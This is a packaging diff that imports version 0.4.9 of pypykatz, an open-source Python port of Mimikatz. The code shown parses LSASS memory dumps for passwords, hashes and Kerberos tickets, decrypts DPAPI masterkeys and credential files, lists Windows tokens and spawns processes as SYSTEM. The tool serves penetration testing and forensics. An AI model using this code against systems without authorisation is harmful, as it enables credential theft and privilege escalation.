Codebase list pypykatz / upstream/0.4.9
New upstream version 0.4.9 Sophie Brun 2 years ago
124 changed file(s) with 15354 addition(s) and 912 deletion(s). Raw diff Collapse all Expand all
0 MIT License
1
2 Copyright (c) 2018
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 include LICENSE README.md
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.3.7
2 Version: 0.4.9
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
6 Author-email: [email protected]
6 Author-email: [email protected]
77 License: UNKNOWN
88 Description: UNKNOWN
99 Platform: UNKNOWN
11 Mimikatz implementation in pure Python. At least a part of it :)
22 Runs on all OS's which support python>=3.6
33 ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg)
4
5 ## Sponsors
6 [<img src="https://user-images.githubusercontent.com/19204702/112737376-6e94b480-8f5a-11eb-8134-06397e83a3b9.png" width="130" height="130"/>](https://kovert.no/)
7
48
59 ## WIKI
610 Since version 0.1.1 the command line changed a little. Worry not, I have an awesome [WIKI](https://github.com/skelsec/pypykatz/wiki) for you.
1721 ### Via Github
1822 Install prerequirements
1923 ```
20 pip3 install minidump minikerberos aiowinreg msldap winsspi
24 pip3 install minidump minikerberos aiowinreg msldap winacl
2125 ```
2226 Clone this repo
2327 ```
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import logging
8
9 def main():
10 import argparse
11 import glob
12
13 from pypykatz.alsadecryptor.cmdhelper import LSACMDHelper
14
15
16 cmdhelpers = [LSACMDHelper()]
17
18
19 parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
20 parser.add_argument('-v', '--verbose', action='count', default=0)
21
22 subparsers = parser.add_subparsers(help = 'commands')
23 subparsers.required = True
24 subparsers.dest = 'command'
25
26 live_group = subparsers.add_parser('live', help='Get secrets from live machine')
27 live_subparsers = live_group.add_subparsers()
28 live_subparsers.required = True
29 live_subparsers.dest = 'module'
30
31 #this is the new cmd helper formet, in beta mode currently
32 for helper in cmdhelpers:
33 helper.add_args(subparsers, live_subparsers)
34
35
36 live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands')
37
38 live_subparser_process_group.add_argument('cmd', choices=['create'])
39 live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process')
40 live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process')
41 live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe')
42
43 live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands')
44 live_subparser_token_group.add_argument('cmd', choices=['list', 'current'])
45 live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege')
46 live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands')
47 live_subparser_users_group.add_argument('cmd', choices=['list','whoami'])
48
49 version_group = subparsers.add_parser('version', help='version')
50 banner_group = subparsers.add_parser('banner', help='banner')
51 logo_group = subparsers.add_parser('logo', help='logo')
52
53 ####### PARSING ARGUMENTS
54
55 args = parser.parse_args()
56
57
58 ###### VERBOSITY
59 if args.verbose == 0:
60 logging.basicConfig(level=logging.INFO)
61 elif args.verbose == 1:
62 logging.basicConfig(level=logging.DEBUG)
63 else:
64 level = 5 - args.verbose
65 logging.basicConfig(level=level)
66
67 ##### Common obj
68 #results = {}
69 #files_with_error = []
70
71 for helper in cmdhelpers:
72 helper.execute(args)
73
74
75 ###### Live
76 if args.command == 'live':
77 if args.module == 'process':
78 if args.cmd == 'create':
79 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
80 pm = ProcessManipulator()
81 sid = 'S-1-5-18'
82 if args.sid is not None:
83 sid = args.sid
84
85 if args.cmdline is not None:
86 cmdline = args.cmdline
87 else:
88 #looking for the correct path...
89 cmdline = os.environ['ComSpec']
90
91 pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive)
92 return
93
94 elif args.module == 'token':
95 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
96 if args.cmd == 'list':
97 pm = ProcessManipulator()
98 for ti in pm.list_all_tokens(args.force):
99 print(str(ti))
100 return
101
102 if args.cmd == 'current':
103 pm = ProcessManipulator()
104 token_info = pm.get_current_token_info()
105 print(str(token_info))
106 return
107
108 elif args.module == 'users':
109 from pypykatz.commons.winapi.machine import LiveMachine
110
111 if args.cmd == 'list':
112 lm = LiveMachine()
113 users = lm.list_users()
114 for sid in users:
115 print(str(users[sid]))
116
117 elif args.cmd == 'whoami':
118 lm = LiveMachine()
119 user = lm.get_current_user()
120 print(str(user))
121
122 elif args.command == 'version':
123 from pypykatz._version import __version__
124 print(__version__)
125
126 elif args.command == 'banner':
127 from pypykatz._version import __banner__
128 print(__banner__)
129
130 elif args.command == 'logo':
131 from pypykatz._version import __logo__, __logo_color__
132 print(__logo_color__)
133 print(__logo__)
134
135
136
137
138 if __name__ == '__main__':
139 main()
33 # Tamas Jos (@skelsec)
44 #
55
6 import io
76 import os
8 import re
9 import struct
107 import logging
11 import traceback
12 import json
13 import ntpath
14
15
16 from pypykatz.registry.offline_parser import OffineRegistry
17 from pypykatz.commons.common import UniversalEncoder, hexdump
188
199 def main():
2010 import argparse
2111 import glob
2212
2313 from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper
24 #from pypykatz.ldap.cmdhelper import LDAPCMDHelper
14 from pypykatz.ldap.cmdhelper import LDAPCMDHelper
2515 from pypykatz.kerberos.cmdhelper import KerberosCMDHelper
2616 from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper
2717 from pypykatz.registry.cmdhelper import RegistryCMDHelper
2818 from pypykatz.remote.cmdhelper import RemoteCMDHelper
19 from pypykatz.dpapi.cmdhelper import DPAPICMDHelper
2920
30 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] #LDAPCMDHelper(),
21 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()]
3122
23 try:
24 from pypykatz.smb.cmdhelper import SMBCMDHelper
25 cmdhelpers.append(SMBCMDHelper())
26 except Exception as e:
27 print(e)
28 pass
3229
3330 parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
3431 parser.add_argument('-v', '--verbose', action='count', default=0)
5956 live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege')
6057 live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands')
6158 live_subparser_users_group.add_argument('cmd', choices=['list','whoami'])
62
63 live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands')
64 live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry')
65 live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file')
66 live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file')
67 live_subparser_dpapi_group.add_argument('--cred', help= 'credential file')
68 live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file')
6959
70 dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands')
71 dpapi_subparsers = dpapi_group.add_subparsers()
72 dpapi_subparsers.required = True
73 dpapi_subparsers.dest = 'dapi_module'
74
75 dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID')
76 dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse')
77 dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
78 dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file')
79 dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file')
80 dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file')
81 dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.')
82 dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID')
83 dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!')
84
85 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
86 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
87
88 dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
89 dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
90 dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format')
91 dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
92 dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
93
94
95 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
96 dpapi_credential_group.add_argument('cred', help='path to credential file')
97 dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
98 dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
99
100 dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file')
101 dpapi_vcred_group.add_argument('vcred', help='path to vcred file')
102 dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys')
103
104 dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file')
105 dpapi_vpol_group.add_argument('vpol', help='path to vpol file')
106 dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
107 dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
108
109 sake_group = subparsers.add_parser('sake', help='sake')
11060 version_group = subparsers.add_parser('version', help='version')
11161 banner_group = subparsers.add_parser('banner', help='banner')
62 logo_group = subparsers.add_parser('logo', help='logo')
11263
11364 ####### PARSING ARGUMENTS
11465
11566 args = parser.parse_args()
116
11767
11868 ###### VERBOSITY
11969 if args.verbose == 0:
178128 lm = LiveMachine()
179129 user = lm.get_current_user()
180130 print(str(user))
181
182 elif args.module == 'dpapi':
183 from pypykatz.dpapi.dpapi import DPAPI
184
185 dpapi = DPAPI()
186 #####pre-key section
187 if args.method_registry == True:
188 dpapi.get_prekeys_form_registry_live()
189
190 if not args.mkf:
191 raise Exception('Live registry method requires masterkeyfile to be set!')
192
193 dpapi.decrypt_masterkey_file(args.mkf)
194
195 else:
196 dpapi.get_masterkeys_from_lsass_live()
197
198 #decryption stuff
199 if args.vcred:
200 if args.vpol is None:
201 raise Exception('for VCRED decryption you must suppliy VPOL file')
202 dpapi.decrypt_vpol_file(args.vpol)
203 res = dpapi.decrypt_vcrd_file(args.vcred)
204 for attr in res:
205 for i in range(len(res[attr])):
206 if res[attr][i] is not None:
207 print('AttributeID: %s Key %s' % (attr.id, i))
208 print(hexdump(res[attr][i]))
209
210 elif args.vpol:
211 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
212 print('VPOL key1: %s' % key1.hex())
213 print('VPOL key2: %s' % key2.hex())
214
215 elif args.cred:
216 cred_blob = dpapi.decrypt_credential_file(args.cred)
217 print(cred_blob.to_text())
218
219 else:
220 #just printing masterkeys
221 for guid in dpapi.masterkeys:
222 print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex()))
223
224 if len(dpapi.masterkeys) == 0:
225 print('Failed to decrypt masterkey')
226
227
228 ###### DPAPI offline
229 elif args.command == 'dpapi':
230 from pypykatz.dpapi.dpapi import DPAPI
231
232 dpapi = DPAPI()
233
234 if args.dapi_module == 'prekey':
235 if args.keysource == 'registry':
236 if args.system is None:
237 raise Exception('SYSTEM hive must be specified for registry parsing!')
238 if args.sam is None and args.security is None:
239 raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.')
240
241 dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam)
242
243 elif args.keysource == 'password':
244 if args.sid is None:
245 raise Exception('SID must be specified for generating prekey in this mode')
246
247 pw = args.password
248 if args.password is None:
249 import getpass
250 pw = getpass.getpass()
251
252 dpapi.get_prekeys_from_password(args.sid, password = pw)
253
254 elif args.keysource == 'nt':
255 if args.nt is None or args.sid is None:
256 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
257
258 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
259
260
261 dpapi.dump_pre_keys(args.out_file)
262
263
264 elif args.dapi_module == 'minidump':
265 if args.minidumpfile is None:
266 raise Exception('minidump file must be specified for mindiump parsing!')
267
268 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
269 dpapi.dump_masterkeys(args.out_file)
270
271
272 elif args.dapi_module == 'masterkey':
273 if args.key is None and args.prekey is None:
274 raise Exception('Etieher KEY or path to prekey file must be supplied!')
275
276 if args.prekey:
277 dpapi.load_pre_keys(args.prekey)
278 dpapi.decrypt_masterkey_file(args.mkf)
279
280 if args.key:
281 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
282
283 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
284 print('Failed to decrypt the masterkeyfile!')
285 return
286
287 dpapi.dump_masterkeys(args.out_file)
288
289 elif args.dapi_module == 'credential':
290 if args.masterkey is None and args.mkb_file is None:
291 raise Exception('Either masterkey or pre-generated MKB file must be specified')
292
293 if args.mkb_file is not None:
294 dpapi.load_masterkeys(args.mkb_file)
295 cred_blob = dpapi.decrypt_credential_file(args.cred)
296 else:
297 cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey)
298
299 print(cred_blob.to_text())
300
301 elif args.dapi_module == 'vpol':
302 if args.masterkey is None and args.mkb_file is None:
303 raise Exception('Either masterkey or pre-generated MKB file must be specified')
304
305 if args.mkb_file is not None:
306 dpapi.load_masterkeys(args.mkb_file)
307 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
308 else:
309 key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey)
310
311
312 print('VPOL key1: %s' % key1.hex())
313 print('VPOL key2: %s' % key2.hex())
314
315
316 elif args.dapi_module == 'vcred':
317 if args.vpolkey is None:
318 raise Exception('VPOL key bust be specified!')
319
320 res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey)
321 for attr in res:
322 for i in range(len(res[attr])):
323 if res[attr][i] is not None:
324 print('AttributeID: %s Key %s' % (attr.id, i))
325 print(hexdump(res[attr][i]))
326
327 ###### Sake
328 elif args.command == 'sake':
329 from pypykatz.utils.sake.sake import Sake
330 s = Sake()
331 print(s.draw())
332131
333132 elif args.command == 'version':
334133 from pypykatz._version import __version__
337136 elif args.command == 'banner':
338137 from pypykatz._version import __banner__
339138 print(__banner__)
139
140 elif args.command == 'logo':
141 from pypykatz._version import __logo__, __logo_color__
142 print(__logo_color__)
143 print(__logo__)
340144
341145
342146
00
1 __version__ = "0.3.7"
1 __version__ = "0.4.9"
22 __banner__ = \
33 """
44 # pypyKatz %s
55 # Author: Tamas Jos @skelsec
66 # License: MIT
7 """ % __version__
7 """ % __version__
8
9 __logo__ = \
10 """
11 &.
12 @@@@@
13 ///////\\ @@@@@@@
14 ////////////. @@@@@@@@@@
15 ///(( /////\. @/@@@@@@@@@
16 //(( ///// @@@@@@@@@@@@@
17 //((( / " @@@@@@@@@
18 \(((( @@@@@@@@@@@@@
19 \\((((((.@@@@@@@@@@@@@@@@
20 ------ P Y P Y K A T Z ------
21 """
22
23 __logo_color__ = \
24 """
25 \x1b[38;5;240m &. \x1b[0m
26 \x1b[38;5;240m @@@@@ \x1b[0m
27 \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m
28 \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m
29 \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m
30 \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m
31 \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m
32 \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m
33 \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m
34 ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------
35 """
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from .lsa_templates import *
7 from .lsa_decryptor import *
8 from .packages import *
0
1 import math
2
3 class FileSection:
4 def __init__(self, startpos, data):
5 self.startpos = startpos
6 self.endpos = startpos + len(data)
7 self.data = data
8
9 def inrange(self, start, size):
10 if start >= self.startpos and (start+size) <= self.endpos:
11 return True
12 return False
13
14 def read(self, start, size):
15 return self.data[ start - self.startpos : (start - self.startpos) + size]
16
17 class SMBFileReader:
18 def __init__(self, smbfile):
19 self.smbfile = smbfile
20 self.cache = []
21 self.curpos = 0
22
23 async def open(self, connection, mode = 'r'):
24 return await self.smbfile.open(connection, mode=mode)
25
26
27 async def read(self, n = -1):
28 #print('read %s' % n)
29 if n == 0:
30 return b''
31
32 if n != -1:
33 for section in self.cache:
34 if section.inrange(self.curpos, n) is True:
35 #print(n)
36 data = section.read(self.curpos, n)
37 #print(data)
38 await self.seek(n, 1)
39 return data
40
41 #print('CACHE MISS!')
42 # requested data not found in cache, this case we will read a larger chunk than requested and store it in memory
43 # since reading more data skews the current position we will need to reset the position by calling seek with the correct pos
44
45 readsize = min(self.smbfile.maxreadsize, self.smbfile.size)
46 buffer = b''
47
48 # this is needed bc sometimes the readsize is smaller than the requested amount
49 for _ in range(int(math.ceil(n/readsize))):
50 data, err = await self.smbfile.read(readsize)
51 if err is not None:
52 raise err
53 buffer += data
54
55 section = FileSection(self.curpos, buffer)
56 self.cache.append(section)
57
58 data = section.read(self.curpos, n)
59 await self.seek(self.curpos + n, 0)
60 return data
61
62 async def close(self):
63 return await self.smbfile.close()
64
65 async def delete(self):
66 return await self.smbfile.delete()
67
68 def tell(self):
69 return self.curpos
70
71 async def seek(self, n, whence = 0):
72 #print('seek %s %s' % (whence, n))
73 _, err = await self.smbfile.seek(n, whence)
74 if err is not None:
75 raise err
76 self.curpos = self.smbfile.tell()
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11 import asyncio
12 import base64
13
14 from pypykatz import logging
15 from pypykatz.apypykatz import apypykatz
16 from pypykatz.commons.common import UniversalEncoder
17 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
18
19
20
21 class LSACMDHelper:
22 def __init__(self):
23 self.live_keywords = ['lsa']
24 self.keywords = ['lsa']
25
26 def add_args(self, parser, live_parser):
27 group = parser.add_parser('lsa', help='Get secrets from memory dump')
28 group.add_argument('cmd', choices=['minidump','rekall'])
29 group.add_argument('memoryfile', help='path to the dump file')
30 group.add_argument('-t','--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)')
31 group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
32 group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed')
33 group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
34 group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
35 group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing')
36 group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder')
37 group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
38 group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
39
40
41 def execute(self, args):
42 if len(self.keywords) > 0 and args.command in self.keywords:
43 asyncio.run(self.run(args))
44
45 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
46 self.run_live(args)
47
48 def process_results(self, results, files_with_error, args):
49 if args.outfile and args.json:
50 with open(args.outfile, 'w') as f:
51 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
52
53 elif args.outfile and args.grep:
54 with open(args.outfile, 'w', newline = '') as f:
55 f.write(':'.join(LogonSession.grep_header) + '\r\n')
56 for result in results:
57 for luid in results[result].logon_sessions:
58 for row in results[result].logon_sessions[luid].to_grep_rows():
59 f.write(':'.join(row) + '\r\n')
60
61 elif args.outfile:
62 with open(args.outfile, 'w') as f:
63 for result in results:
64 f.write('FILE: ======== %s =======\n' % result)
65
66 for luid in results[result].logon_sessions:
67 f.write('\n'+str(results[result].logon_sessions[luid]))
68
69 if len(results[result].orphaned_creds) > 0:
70 f.write('\n== Orphaned credentials ==\n')
71 for cred in results[result].orphaned_creds:
72 f.write(str(cred))
73
74 if len(files_with_error) > 0:
75 f.write('\n== Failed to parse these files:\n')
76 for filename in files_with_error:
77 f.write('%s\n' % filename)
78
79 elif args.json:
80 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
81
82 elif args.grep:
83 print(':'.join(LogonSession.grep_header))
84 for result in results:
85 for luid in results[result].logon_sessions:
86 for row in results[result].logon_sessions[luid].to_grep_rows():
87 print(':'.join(row))
88 for cred in results[result].orphaned_creds:
89 t = cred.to_dict()
90 if t['credtype'] != 'dpapi':
91 if t['password'] is not None:
92 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
93 print(':'.join(x))
94 else:
95 t = cred.to_dict()
96 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
97 print(':'.join(x))
98
99 for pkg, err in results[result].errors:
100 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
101 err_str = base64.b64encode(err_str.encode()).decode()
102 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
103 print(':'.join(x) + '\r\n')
104
105 else:
106 for result in results:
107 print('FILE: ======== %s =======' % result)
108 if isinstance(results[result], str):
109 print(results[result])
110 else:
111 for luid in results[result].logon_sessions:
112 print(str(results[result].logon_sessions[luid]))
113
114 if len(results[result].orphaned_creds) > 0:
115 print('== Orphaned credentials ==')
116 for cred in results[result].orphaned_creds:
117 print(str(cred))
118
119 if len(results[result].errors) > 0:
120 print('== Errors ==')
121 for pkg, err in results[result].errors:
122 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
123 err_str = base64.b64encode(err_str.encode()).decode()
124 print('%s %s' % (pkg+'_exception_please_report',err_str))
125
126
127 if len(files_with_error) > 0:
128 print('\n==== Parsing errors:')
129 for filename in files_with_error:
130 print(filename)
131
132
133 if args.kerberos_dir:
134 dir = os.path.abspath(args.kerberos_dir)
135 logging.info('Writing kerberos tickets to %s' % dir)
136 for filename in results:
137 base_filename = ntpath.basename(filename)
138 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
139 results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename))
140 for luid in results[filename].logon_sessions:
141 for kcred in results[filename].logon_sessions[luid].kerberos_creds:
142 for ticket in kcred.tickets:
143 ticket.to_kirbi(dir)
144
145 for cred in results[filename].orphaned_creds:
146 if cred.credtype == 'kerberos':
147 for ticket in cred.tickets:
148 ticket.to_kirbi(dir)
149
150 def run_live(self, args):
151 return
152
153 async def run(self, args):
154 files_with_error = []
155 results = {}
156 ###### Minidump
157 if args.cmd == 'minidump':
158 if args.directory:
159 dir_fullpath = os.path.abspath(args.memoryfile)
160 file_pattern = '*.dmp'
161 if args.recursive == True:
162 globdata = os.path.join(dir_fullpath, '**', file_pattern)
163 else:
164 globdata = os.path.join(dir_fullpath, file_pattern)
165
166 logging.info('Parsing folder %s' % dir_fullpath)
167 for filename in glob.glob(globdata, recursive=args.recursive):
168 logging.info('Parsing file %s' % filename)
169 try:
170 print('await')
171 mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages)
172 results[filename] = mimi
173 except Exception as e:
174 files_with_error.append(filename)
175 logging.exception('Error parsing file %s ' % filename)
176 if args.halt_on_error == True:
177 raise e
178 else:
179 pass
180
181 else:
182 logging.info('Parsing file %s' % args.memoryfile)
183 try:
184 mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages)
185 results[args.memoryfile] = mimi
186 except Exception as e:
187 logging.exception('Error while parsing file %s' % args.memoryfile)
188 if args.halt_on_error == True:
189 raise e
190 else:
191 traceback.print_exc()
192
193 self.process_results(results, files_with_error, args)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5
6 from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6
7 from pypykatz.alsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6
8 from pypykatz.alsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5
9
10 class LsaDecryptor:
11 def __init__(self):
12 pass
13
14 @staticmethod
15 def choose(reader, decryptor_template, sysinfo):
16 if isinstance(decryptor_template, LsaTemplate_NT5):
17 return LsaDecryptor_NT5(reader, decryptor_template, sysinfo)
18 else:
19 return LsaDecryptor_NT6(reader, decryptor_template, sysinfo)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import logging
7 from pypykatz.crypto.RC4 import RC4
8 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
9 from pypykatz.alsadecryptor.win_datatypes import LONG
10
11 class LsaDecryptor_NT5(PackageDecryptor):
12 def __init__(self, reader, decryptor_template, sysinfo):
13 super().__init__('LsaDecryptor', None, sysinfo, reader)
14 self.decryptor_template = decryptor_template
15 self.feedback = None
16 self.feedback_offset = None
17 self.des_key = None
18 self.random_key = None
19 self.acquire_crypto_material()
20
21 def acquire_crypto_material(self):
22 self.log('Acquireing crypto stuff...')
23 sigpos = self.find_signature()
24 self.reader.move(sigpos)
25 #data = self.reader.peek(0x50)
26 #self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos))
27
28 for x in [self.decryptor_template.feedback_ptr_offset , self.decryptor_template.old_feedback_offset]:
29 self.feedback_offset = x
30
31 try:
32 self.feedback = self.get_feedback(sigpos)
33 #self.log('Feedback bytes:\n%s' % hexdump(self.feedback, start = 0))
34 self.des_key = self.get_key(sigpos)
35 self.random_key = self.get_random(sigpos)
36 #self.log('randomkey bytes:\n%s' % hexdump(self.random_key, start = 0))
37 except:
38 import traceback
39 traceback.print_exc()
40 input()
41 else:
42 break
43
44
45 def get_feedback(self, sigpos):
46 if self.decryptor_template.arch == 'x86':
47 new_ptr = self.reader.get_ptr_with_offset(sigpos + self.feedback_offset)
48 self.reader.move(new_ptr)
49 return self.reader.read(8)
50 else:
51 self.reader.move(sigpos + self.feedback_offset)
52 offset = LONG(self.reader).value
53 newpos = sigpos + self.feedback_offset + 4 + offset
54 self.reader.move(newpos)
55 return self.reader.read(8)
56
57 def get_key(self, sigpos):
58 if self.decryptor_template.arch == 'x86':
59 new_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.desx_key_ptr_offset)
60 self.reader.move(new_ptr)
61 des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader)
62 des_key = des_key_ptr.read(self.reader)
63 else:
64 self.reader.move(sigpos + self.decryptor_template.desx_key_ptr_offset)
65 offset = LONG(self.reader).value
66 newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset
67 self.reader.move(newpos)
68 des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader)
69 des_key = des_key_ptr.read(self.reader)
70
71 return des_key
72
73 def get_random(self, sigpos):
74 if self.decryptor_template.arch == 'x86':
